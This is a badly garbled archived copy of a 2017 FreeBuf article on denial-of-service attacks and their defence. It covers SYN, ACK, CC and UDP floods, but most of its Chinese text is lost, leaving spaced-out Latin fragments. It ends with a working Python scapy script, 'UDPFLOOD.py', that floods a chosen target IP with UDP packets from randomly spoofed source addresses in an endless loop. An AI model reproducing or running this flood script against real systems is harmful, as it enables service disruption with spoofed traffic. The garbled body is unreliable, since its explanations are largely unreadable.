[11035] 2017-02-16_浅谈拒绝服务攻击的原理与防御[1]普通拒绝服务攻击

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最后更新:2025-01-18
2017-02-16_浅谈拒绝服务攻击的原理与防御[1]普通拒绝服务攻击 [ 1 ]   |     F r e e B u f   2 0 1 7 - 0 2 - 1 6 S Y N   F L O O D A C K   F L O O D C C U D P     F L O O D     S Y N   F L O O D S y n   f l o o d T C P s y n T C P 使   s y n   f l o o d     T C P T C P T r a n s m i s s i o n   C o n t r o l   P r o t o c o l       T C P / I P T C P I P I P T C P   T C P T C P 3 - 1 - 1   s y n   f l o o d I P I P I P I P T T L I D T C P S o u r c e   P o r t T C P     8 0 8 0 8 0 s y n   1 3 - 2 3 - 3
  s y n   f l o o d
A C K   F L O O D a c k   f l o o d T C P a c k   f l o o d T C P s y n a c k 1 a c k   a c k T C P a c k a c k + s e q T C P a c k + r s t   C U P s y n + a c k c p u 使 T C P a c k s y n   f l o o d a c k   f l o o d 使
C C C C C h a l l e n g e   C o l l a p s a r D D O S D D O S A D S (     A n t i - D D o S   S y s t e m ) , C C   C C   访 C P U     c p u     C C C C U D P   F L O O D U D P   F L O O D U D P U D P   F L O O D U D P T C P U D P U D P 1   G 1 0 G U D P   F L O O D 1 0 0 G   U D P   F L O O D     D D O S  
U D P   F L O O D 线 D D O S 线 D O S ~ ~ * F r e e B u f . C O M U D P F L O O D . p y   # - * -   c o d i n g :   U T F - 8   - * -   i m p o r t   s o c k e t f r o m   s c a p y . a l l   i m p o r t   * f r o m   s c a p y   i m p o r t   a l l p r i n t   " U D P   F L O O D I P " d i p = r a w _ i n p u t ( " " ) d p = i n p u t ( " " ) f = o p e n ( ' . / l o a d ' , ' r ' ) w h i l e   1 :   s i z e = r a n d o m . r a n d i n t ( 1 , 2 )   d a t a = f . r e a d ( s i z e )   i p r a n d o m = r a n d o m . r a n d i n t ( 0 , 4 0 0 0 0 0 0 0 0 0 )   s i p = s o c k e t . i n e t _ n t o a ( s t r u c t . p a c k ( ' I ' , s o c k e t . h t o n l ( i p r a n d o m ) ) )   s p = r a n d o m . r a n d i n t ( 1 0 0 0 , 6 5 5 3 5 )   t = r a n d o m . r a n d i n t ( 5 0 , 1 2 0 )   p a c k e t = ( I P ( s r c = s i p , d s t = d i p , t t l = t ) / U D P ( s p o r t = s p , d p o r t = d p ) / R a w ( l o a d = d a t a ) )   s e n d ( p a c k e t )

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